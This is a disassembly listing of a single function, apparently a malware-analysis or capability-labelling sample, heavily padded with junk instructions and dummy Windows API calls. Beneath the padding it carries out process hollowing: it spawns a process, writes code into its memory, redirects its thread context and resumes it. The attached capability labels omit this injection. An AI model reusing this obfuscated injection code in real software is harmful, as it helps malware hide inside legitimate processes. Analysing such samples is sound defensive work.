Function at 0x40ca46
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcc4
pushal
pushfd
push eax
rcr eax, 4
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
punpckhbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
call fcn.00403990
pushfd
push esi
btc esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push esi
rol esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
wait
fninit
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov dword [ebp - 0x33c], eax
pushfd
push esi
btr esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.0040d085
pop ebx
jmp 0x40caeb
push 0x104
push dword [ebp - 0x33c]
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea edi, [ebp - 0x44]
pushfd
push edx
sar edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov ecx, 0x44
xor al, al
rep stosb byte es:[edi], al
pushfd
push eax
rcl eax, 7
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psadbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
lea edi, [ebp - 0x54]
pushfd
push edx
shl edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push eax
pushfd
cmova edx, eax
popfd
pop eax
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov ecx, 0x10
pushfd
push ecx
rcr ecx, 0x17
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setb bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
rep stosb byte es:[edi], al
jmp 0x40cc8c
mov dword [ebp - 0x44], 0x44
mov word [ebp - 0x14], 5
cmp dword [0x42185f], 2
jne 0x40cd00
pushfd
push ecx
shl ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
seto cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
mov dword [esp], 0xf65f7866
add dword [esp], 0xa05ffff
push 0x2e74736f
pushfd
push ebx
shl ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fchs
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x213ffff
mov dword [esp], 0x6a70898c
xor dword [esp], 0x213ffff
jmp 0x40cd47
pushfd
push esi
ror esi, 6
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
wait
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
mov dword [esp], 0x8a677864
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0x8a01ffff
pop eax
push 0x2e736376
push eax
mov dword [esp], 0x88546375
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xeb1bffff
pop edx
pushfd
push ecx
shl ecx, 6
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push esi
pushfd
cmovg esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
lea edx, [esp]
pushfd
push esi
bts esi, 0x16
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push esi
pushfd
xadd ecx, esi
popfd
pop esi
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
lea eax, [ebp - 0x54]
pushfd
push edx
bts edx, 0x15
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
pushfd
push eax
ror eax, 0x16
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
lea eax, [ebp - 0x44]
push eax
pushfd
push ecx
ror ecx, 2
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
wait
fninit
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push dword [ebp - 0x33c]
pushfd
push edx
rcr edx, 6
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
call fcn.0040d085
pop ebx
jmp 0x40ce14
push 0
pushfd
push edx
btc edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
packsswb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x8000004
pushfd
push eax
ror eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
paddd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0
pushfd
push esi
sar esi, 0x11
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmulhw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0
push 0
push edx
push 0
call dword [0x421134]
pushfd
push ecx
bts ecx, 0x15
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
lea esp, [esp + 0xc]
push 0
pushfd
push ecx
rcr ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
call dword [0x421138]
pushfd
push eax
rcl eax, 0xd
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pavgw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [ebp - 0x60], eax
pushfd
push eax
ror eax, 0x17
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fprem1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
add eax, dword [eax + 0x3c]
mov eax, dword [eax + 0x50]
pushfd
push eax
shl eax, 0x11
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
inc bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov dword [ebp - 0x58], eax
pushfd
push ecx
btc ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push edx
pushfd
cmovo esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push pe_nt_image_headers32
push 0x3000
push dword [ebp - 0x58]
push dword [ebp - 0x60]
push dword [ebp - 0x54]
call dword [0x42113c]
pushfd
push ecx
rcl ecx, 0x12
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov dword [ebp - 0x5c], eax
pushfd
push esi
bt esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
setl cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
lea eax, [0x4218d3]
push eax
push dword [ebp - 0x58]
pushfd
push esi
rcr esi, 0x17
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
seto bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push dword [ebp - 0x60]
push dword [ebp - 0x5c]
push dword [ebp - 0x54]
call dword [0x421140]
mov dword [ebp - 0x32c], 0x10007
pushfd
push edx
shl edx, 0x13
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
push ecx
pushfd
cmovbe ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x50]
call dword [0x421144]
mov dword [ebp - 0x274], 0x40c2db
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x50]
call dword [0x421148]
push dword [ebp - 0x50]
pushfd
push ebx
rcr ebx, 9
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
call dword [0x42114c]
push 0x8000
push 0
push dword [ebp - 0x33c]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
rcr ecx, 0
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fxtract
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0x8000
push 0
push dword [ebp - 0x330]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push eax
sar eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ecx
push ecx
pushfd
cmovl ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
popal
leave
ret